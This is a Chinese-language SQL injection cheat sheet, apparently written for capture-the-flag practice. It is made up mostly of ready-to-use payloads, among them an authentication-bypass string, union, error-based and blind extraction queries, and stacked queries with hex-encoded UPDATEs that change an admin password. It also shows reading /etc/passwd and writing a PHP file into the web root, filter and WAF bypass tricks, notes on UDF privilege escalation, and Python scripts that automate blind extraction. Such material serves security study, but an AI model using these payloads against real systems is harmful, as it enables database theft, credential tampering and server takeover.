万能密码
1 | admin' -- |
手注
正常注入步骤(联合查询)
查库名->查表名->查列名(字段名)->查值(数据)
字段数量猜解
1
order by 4 --+
判断页面回显数据字段位置
1
union select 1,2,3,4,x... --+
数据库名
1
2select database()
select schema_name from information_schema.schemata;表名
1
union select 1,2,group_concat(table_name),4,xxxx from information_schema.tables where table_schema=database()
union查询
1
2
3
4
5UNION SELECT TABLE_NAME FROM information_schema.tables WHERE TABLE_SCHEMA=database(); /* 列出所有用户自定义数据库中的表 */
--MySQL 4版本时用version=9,MySQL 5版本时用version=10
UNION SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE version=10; /* 列出当前数据库中的表 */
SELECT table_schema, table_name FROM information_schema.tables WHERE table_schema!='information_schema' AND table_schema!='mysql';盲注
1
2
3
4AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables > 'A'
--mysql8新特性
and (table information_schema.TABLESPACES_EXTENSIONS limit 1,1)>(BINARY('a'),'0')#报错
1
2AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),FLOOR(RAND(0)*2))) (@:=1)||@ GROUP BY CONCAT((SELECT table_name FROM information_schema.tables LIMIT 1),!@) HAVING @||MIN(@:=0); AND ExtractValue(1, CONCAT(0x5c, (SELECT table_name FROM information_schema.tables LIMIT 1)));
-- 在5.1.5版本中成功。
列名(字段名)
1
Union select 1,2,group_concat(column_name),4,xxxx from information_schema.columns where table_schema=database() and table_name=(table_name) /*此处的表名为字符串型,也通过十六进制表示*/
union查询
1
UNION SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'tablename'
盲注
1
AND SELECT SUBSTR(column_name,1,1) FROM information_schema.columns > 'A'
报错
1
2
3
4-- 在5.1.5版本中成功
AND (1,2,3) = (SELECT * FROM SOME_EXISTING_TABLE UNION SELECT 1,2,3 LIMIT 1)
-- MySQL 5.1版本修复了
AND(SELECT COUNT(*) FROM (SELECT 1 UNION SELECT null UNION SELECT !1)x GROUP BY CONCAT((SELECT column_name FROM information_schema.columns LIMIT 1),FLOOR(RAND(0)*2))) (@:=1)||@ GROUP BY CONCAT((SELECT column_name FROM information_schema.columns LIMIT 1),!@) HAVING @||MIN(@:=0); AND ExtractValue(1, CONCAT(0x5c, (SELECT column_name FROM information_schema.columns LIMIT 1)));
值查询
1
2
3
4Union select 1,2,column_name,4,xxx from (database_name.)table_name
--mysql8新特性
and (table flag limit 1,1)>(BINARY('a'))#
无回显
盲注
布尔盲注
使用场景:对真/假条件返回的内容很容易区分。
1
2
3
4(where | and) if(substr((select password from users where username='admin'),1,1)='a',1,0)
select * from users where username=nouser or length(database())>8
select * from users where username=nouser or ascii(substr(database(),1,1))<130时间盲注
依赖于通过页面返回的延迟时间来判断条件是否正确。
通常可利用的产生时间延迟的函数有:sleep()、benchmark(),还有许多进行复杂运算的函数也可以当做延迟的判断标准、笛卡尔积合并数据表、GET_LOCK双SESSION产生延迟等方法。
1
2
3
4
5
6
7
8
9-- sleep()
(where | and) if(substr((select password from users where username='admin'),1,1)='a',sleep(3),1)
select * from users where username=$username (and | or) if(length(database())>8,sleep(3),1)
-- pg_sleep()
(and | or) (case when (select substr(password,1,1) from users)='a' then pg_sleep(5) else pg_sleep(0) end)
and (select case when(substr((select password from users where username='admin'),1,1)='a') then (select 'roarctf' from pg_sleep(3)) else '1' end)='roarctf'
报错注入
通过特殊函数的错误使用使其参数被页面输出。
前提:服务器开启报错信息返回,也就是发生错误时返回报错信息。
常见的利用函数有:
exp()、floor()+rand()、updatexml()、extractvalue()
等。1
2
3
4
5
6(where|and|or) exp(~(select * from(select user())a));
(where|and|or) pow(~(select * from(select user())a),9999);
(where|and|or) updatexml(1,concat(0x7e,(select user()),0x7e),1);
(where|and|or) extractvalue(1,concat(0x7e,(select user()),0x7e));
(where|and|or) (select count(*) from information_schema.tables group by concat((select user()),0x7e,floor(rand(0)*2)));
(where|and|or) (select count(*) from information_schema.tables group by concat((select user()),0x7e,ceil(rand(0)*2)));limit注入
使用
PROCEDURE
函数进行注入,ANALYSE支持两个参数。1
2select id from users order by id desc limit 0,1 procedure analyse(1,1);
select id from users order by id desc limit 0,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);group by注入
1
2#盲注
select * from users group by 1 having substr((select database()),1,1)='c'
宽字节注入
国内最常使用的 GBK 编码,这种方式主要是绕过
addslashes
等对特殊字符进行转移的绕过。反斜杠\
的十六进制为%5c
,在你输入%bf%27
时,函数遇到单引号自动转移加入\
,此时变为%bf%5c%27
,%bf%5c
在 GBK 中变为一个宽字符「縗」。%bf
那个位置可以是%81-%fe
中间的任何字符。不止在 SQL 注入中,宽字符注入在很多地方都可以应用。堆叠注入
由于分号
;
为MYSQL语句的结束符。若在支持多语句执行的情况下,可利用此方法执行其他恶意语句,如RENAME
、DROP
等。1
2
3
4
5
6
7
8
9
10
11
121;show databases;#
1;show tables;#
1;show columns from [表名];#
1;update`ctfshow_user`set`pass`=(0x31323334)where(username=0x61646d696e)
/*预处理*/
1;PREPARE hacker from char(117,112,100,97,116,101,96,99,116,102,115,104,111,119,95,117,115,101,114,96,115,101,116,96,112,97,115,115,96,61,40,48,120,51,49,51,50,51,51,51,52,41,119,104,101,114,101,40,117,115,101,114,110,97,109,101,61,48,120,54,49,54,52,54,100,54,57,54,101,41);EXECUTE hacker;#
1;PREPARE hacker from 0x7570646174656063746673686f775f75736572607365746070617373603d283078333133323333333429776865726528757365726e616d653d30783631363436643639366529;EXECUTE hacker;#
1';SET @sqli=char(117,112,100,97,116,101,96,99,116,102,115,104,111,119,95,117,115,101,114,96,115,101,116,96,112,97,115,115,96,61,40,48,120,51,49,51,50,51,51,51,52,41,119,104,101,114,101,40,117,115,101,114,110,97,109,101,61,48,120,54,49,54,52,54,100,54,57,54,101,41);PREPARE hacker from @sqli;EXECUTE hacker;#
1';SET @sqli=0x7570646174656063746673686f775f75736572607365746070617373603d283078333133323333333429776865726528757365726e616d653d30783631363436643639366529;PREPARE hacker from @sqli;EXECUTE hacker;#
二次注入
攻击者构造的恶意数据存储到数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。
现在通常Web应用程序大多都会进行参数过滤,来防止注入。如果某处使用了urldecode()或者 rawurldecode()函数,则会导致二次解码生成单引号二引发注入,即二次注入。
Web应用程序通常使用addslashes() 、mysql_real_escape_string()、mysql_escape_string()函数或者开启GPC来防止注入,也就是给单引号(‘’)、双引号(“”)、反斜杠()和NULL加上反斜杠转义。
addslashes函数虽然在过滤之后会添加 “\” 进行转义,但是 “\” 并不会被带到数据库中
文件操作
读文件:
SELECT LOAD_FILE('/etc/passwd') as my
写文件:
SELECT '<?php phpinfo();?>' into outfile '/var/www/html/phpinfo.php'
绕过(bypass)
空格
- 多层括号嵌套
- 改用+号
- 使用注释代替(/*注释内容*/、/*! MYSQL专属*/)
and/or
后面可以跟上偶数个!、~
可以替代空格,也可以混合使用(规律又不同),and/or前的空格可用省略%09, %0a, %0b, %0c, %0d, %a0
等部分不可见字符可也代替空格
单双引号
- 需要跳出单引号的情况:尝试是否存在编码问题而产生的SQL注入。
- 不需要跳出单引号的情况:字符串可用16进制表示、也可通过进制转换函数表示成其他进制。
1
2
3
4-- hex 编码
SELECT * FROM Users WHERE username = 0x61646D696E
-- char() 函数
SELECT * FROM Users WHERE username = CHAR(97, 100, 109, 105, 110)逗号
- 采用
substr((database())from({})for(1))
的形式 - 采用join:
union select * from ((select 1)a join (select 2)b join (select 3)c);
- 采用
等号 / like
- 用
regexp
或者in
- 用
and / or
- 双写
anandd、oorr
- 使用运算符代替
&&、||
- 直接拼接
=
号,如:?id=1=(condition)
- 其他方法,如:
?id=1^(condition)
、?id=1)xor(condition)
- 双写
union
- 盲注:
'and(select pass from users limit 1)='secret
- 盲注:
select
有文件读取权限
1
2' and substr(load_file('file'),locate('DocumentRoot',(load_file('file')))+
length('DocumentRoot'),10)='a'='' into outfile '/var/www/dump.txt获取列名
1
2
3' and 列名 is not null#
' procedure analyse()#
'and substr(pass,1,1)='a /*使用substr来做过滤条件*/handler语句代替select查询
1
2
3
4
5
6
7/*通过handler语句查询users表的内容*/
handler users open as yunensec; /*指定数据表进行载入并将返回句柄重命名*/
handler yunensec read first; /*读取指定表/句柄的首行数据*/
handler yunensec read next; /*读取指定表/句柄的下一行数据*/
handler yunensec read next; /*读取指定表/句柄的下一行数据*/
...
handler yunensec close; /*关闭句柄*/
limit
1
2
3'and(select pass from users where id=1)='a
'and(select pass from users group by id having id=1)='a
'and length((select pass from users having substr(pass,1,1)='a'))where
join/left join/right join...on...
information_schema
- 替代表:
sys.x$schema_flattened_keys
、sys.schema_table_statistics
- 替代表:
其他关键字
双写绕过关键字过滤
使用同义函数/语句代替,如if函数可用
case when condition then 1 else 0 end
语句代替。使用
CONCAT()
时,任何个参数为 null,将返回 null,推荐使用CONCAT_WS()
。CONCAT_WS()
函数第一个参数表示用哪个字符间隔所查询的结果。1
2
3
4SELECT 'a' 'd' 'mi' 'n';
SELECT CONCAT('a', 'd', 'm', 'i', 'n');
SELECT CONCAT_WS('', 'a', 'd', 'm', 'i', 'n');
SELECT GROUP_CONCAT('a', 'd', 'm', 'i', 'n');
括号
- order by 大小比较盲注
数字
用
true
换1
1
2def cal(x):
return ('('+'(true)+'*x)[:-1]+')'替换表
代替字符 | 数 | 代替字符 | 数 | 代替字符 | 数 | 数 | 代替字符 |
---|---|---|---|---|---|---|---|
false、!pi() | 0 | ceil(pi()*pi()) | 10 | A | ceil((pi()+pi())*pi()) | 20 | K |
true、!(!pi()) | 1 | ceil(pi()*pi())+true | 11 | B | ceil(ceil(pi())*version()) | 21 | L |
true+true | 2 | ceil(pi()+pi()+version()) | 12 | C | ceil(pi()*ceil(pi()+pi())) | 22 | M |
floor(pi())、~~pi() | 3 | floor(pi()*pi()+pi()) | 13 | D | ceil((pi()+ceil(pi()))*pi()) | 23 | N |
ceil(pi()) | 4 | ceil(pi()*pi()+pi()) | 14 | E | ceil(pi())*ceil(version()) | 24 | O |
floor(version()) //注意版本 | 5 | ceil(pi()*pi()+version()) | 15 | F | floor(pi()*(version()+pi())) | 25 | P |
ceil(version()) | 6 | floor(pi()*version()) | 16 | G | floor(version()*version()) | 26 | Q |
ceil(pi()+pi()) | 7 | ceil(pi()*version()) | 17 | H | ceil(version()*version()) | 27 | R |
floor(version()+pi()) | 8 | ceil(pi()*version())+true | 18 | I | ceil(pi()*pi()*pi()-pi()) | 28 | S |
floor(pi()*pi()) | 9 | floor((pi()+pi())*pi()) | 19 | J | floor(pi()*pi()*floor(pi())) | 29 | T |
sys系统库
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19#查询所有的库:
SELECT table_schema FROM sys.schema_table_statistics GROUP BY table_schema;
SELECT table_schema FROM sys.x$schema_flattened_keys GROUP BY table_schema;
#查询指定库的表(若无则说明此表从未被访问):
SELECT table_name FROM sys.schema_table_statistics WHERE table_schema='mspwd' GROUP BY table_name;
SELECT table_name FROM sys.x$schema_flattened_keys WHERE table_schema='mspwd' GROUP BY table_name;
#统计所有访问过的表次数:库名,表名,访问次数
select table_schema,table_name,sum(io_read_requests+io_write_requests) io from sys.schema_table_statistics group by table_schema,table_name order by io desc;
#查看所有正在连接的用户详细信息:连接的用户(连接的用户名,连接的ip),当前库,用户状态(Sleep就是空闲),现在在执行的sql语句,上一次执行的sql语句,已经建立连接的时间(秒)
SELECT user,db,command,current_statement,last_statement,time FROM sys.session;
#查看所有曾连接数据库的IP,总连接次数
SELECT host,total_connections FROM sys.host_summary;
#查看语句的执行记录
SELECT * from sys.x$statement_analysis;mysql系统库
1
2#查询指定库的表
select group_concat(table_name) from mysql.innodb_table_stats where database_name=database()无列名注入(or被过滤)
1
2
3select group_concat(`2`) from (select 1,2,3 union select * from user)x;
select ((select 1,'ae',0)>(select * from user));
?id=-1' union all select * from (select * from users as a join users b using(id,username))c--+
UDF
UDF是mysql的一个拓展接口,UDF(Userdefined function)可翻译为用户自定义函数,这个是用来拓展Mysql的技术手段。当我们有读取和写入权限以后,我们就可以尝试使用UDF提权的方法,从数据库的root权限提升到系统的管理员权限。
参考:Mysql UDF 提权
1 | #参考脚本 |
NoSQL
常用脚本
布尔盲注
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21import string
import requests
dic='{}-_'+string.digits+string.ascii_lowercase
url='xxxxxxx'
now=''
for i in range(1,50):
flag=0
for j in dic:
payload='''xxxxxxx'''.format()
#print(payload)
data={'username':payload,'password':'xxxxx'}
r=requests.post(url,data=data)
#print(r.text)
if 'xxx' in r.text:
now+=j
print(now)
flag=1
break
if flag==0:
break时间盲注
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23import requests
import string
import time
dic='{}-_,'+string.ascii_lowercase+string.digits
url='xxxxxx'
now=''
for i in range(1,50):
flag=0
for j in dic:
a=time.time()
payload='''xxxxxx'''.format()
data={'ip':payload,"debug":0}
r=requests.post(url,data=data)
b=time.time()
if b-a>1:
now+=j
flag=1
print(now)
break
if flag==0:
break